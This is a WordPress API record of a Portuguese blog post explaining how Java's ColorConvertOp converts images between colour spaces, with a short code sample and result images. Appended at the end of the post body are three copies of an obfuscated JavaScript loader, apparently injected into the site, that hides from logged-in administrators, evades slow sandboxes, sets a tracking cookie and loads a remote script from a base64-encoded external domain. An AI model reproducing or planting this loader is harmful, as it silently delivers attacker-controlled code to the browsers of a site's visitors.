{"id":1889,"date":"2011-11-01T16:10:48","date_gmt":"2011-11-01T18:10:48","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=1889"},"modified":"2025-10-26T22:38:47","modified_gmt":"2025-10-27T01:38:47","slug":"alterando-o-espaco-de-cores","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/11\/01\/alterando-o-espaco-de-cores\/","title":{"rendered":"Alterando o espa\u00e7o de cores"},"content":{"rendered":"<p style=\"text-align: justify;\">No Java temos uma classe muito importante para se trabalhar com convers\u00e3o do espa\u00e7o de cores em imagens: <a title=\"http:\/\/download.oracle.com\/javase\/6\/docs\/api\/java\/awt\/image\/ColorConvertOp.html\" href=\"http:\/\/download.oracle.com\/javase\/6\/docs\/api\/java\/awt\/image\/ColorConvertOp.html\" target=\"_blank\" rel=\"noopener\">java.awt.image.ColorConvertOp<\/a>. Essa classe realiza a convers\u00e3o pixel a pixel do espa\u00e7o de cores. Dessa forma, podemos facilmente converter uma imagem de um espa\u00e7o de cores qualquer para algum definido. \u00c9 necess\u00e1rio apenas criar um objeto dela passando o espa\u00e7o de cores de origem e o de destino e depois chamar o m\u00e9todo filter passando as duas imagens (origem e destino).<\/p>\n<p style=\"text-align: justify;\">Por exemplo, se desejamos converter uma imagem de colorida para preto e branco, basta executar o seguinte c\u00f3digo:<\/p>\n<pre class=\"brush: java; title: ; notranslate\" title=\"\">\n\t\tBufferedImage dest = new BufferedImage(src.getWidth(), src.getHeight(),\n\t\t\t\tBufferedImage.TYPE_BYTE_BINARY);\n\n\t\tColorConvertOp op = new ColorConvertOp(src.getColorModel()\n\t\t\t\t.getColorSpace(), dest.getColorModel().getColorSpace(), null);\n\n\t\top.filter(src, dest);\n<\/pre>\n<p style=\"text-align: justify;\">Na linha 1 \u00e9 criada uma imagem cinza n\u00e3o indexada (BufferedImage.TYPE_BYTE_GRAY) com o mesmo tamanho da imagem de origem (src.getWidth(), src.getHeight()). Os tipos voc\u00ea pode consultar no javadoc da<strong> <\/strong><a title=\"java.awt.image.BufferedImage\" href=\"http:\/\/download.oracle.com\/javase\/6\/docs\/api\/java\/awt\/image\/BufferedImage.html\" target=\"_blank\" rel=\"noopener\">java.awt.image.BufferedImage<\/a>. Na linha 4 \u00e9 criado um objeto que faz a convers\u00e3o no espa\u00e7o de cores e \u00e9 passado os dois espa\u00e7os de cores (origem e destino) a partir do ColorModel da imagem (img.getColorModel().getColorSpace()). Ap\u00f3s isso \u00e9 s\u00f3 invocar o m\u00e9todo filter passando as duas imagens como par\u00e2metro (linha 7).<\/p>\n<p style=\"text-align: justify;\">Abaixo segue o resultado de convers\u00e3o da bandeira do Brasil (primeira imagem), com tr\u00eas tipos de imagens: TYPE_BYTE_BINARY (segunda imagem), TYPE_BYTE_GRAY (terceira imagem) e TYPE_3BYTE_BGR (quarta imagem).<\/p>\n<figure id=\"attachment_1891\" aria-describedby=\"caption-attachment-1891\" style=\"width: 107px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/11\/Brasil-Transformacao.png\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-1891\" title=\"Brasil-Transformacao\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2011\/11\/Brasil-Transformacao-107x300.png\" alt=\"Brasil-Transformacao\" width=\"107\" height=\"300\" \/><\/a><figcaption id=\"caption-attachment-1891\" class=\"wp-caption-text\">Brasil-Transformacao<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">A convers\u00e3o feita com o tipo TYPE_BYTE_BINARY foi utilizado no <a title=\"Quebrando CAPTCHAs\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/2010\/09\/26\/quebrando-captchas\/\">artigo do CAPTCHA<\/a> para remo\u00e7\u00e3o do fundo.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>No Java temos uma classe muito importante para se trabalhar com convers\u00e3o do espa\u00e7o de cores em imagens: java.awt.image.ColorConvertOp. Essa classe realiza a convers\u00e3o pixel a pixel do espa\u00e7o de cores. Dessa forma, podemos facilmente converter uma imagem de um <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/11\/01\/alterando-o-espaco-de-cores\/\">Continue lendo  <span class=\"screen-reader-text\">  Alterando o espa\u00e7o de cores<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-1889","post","type-post","status-publish","format-standard","hentry","category-java"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1889","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=1889"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/1889\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=1889"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=1889"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=1889"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}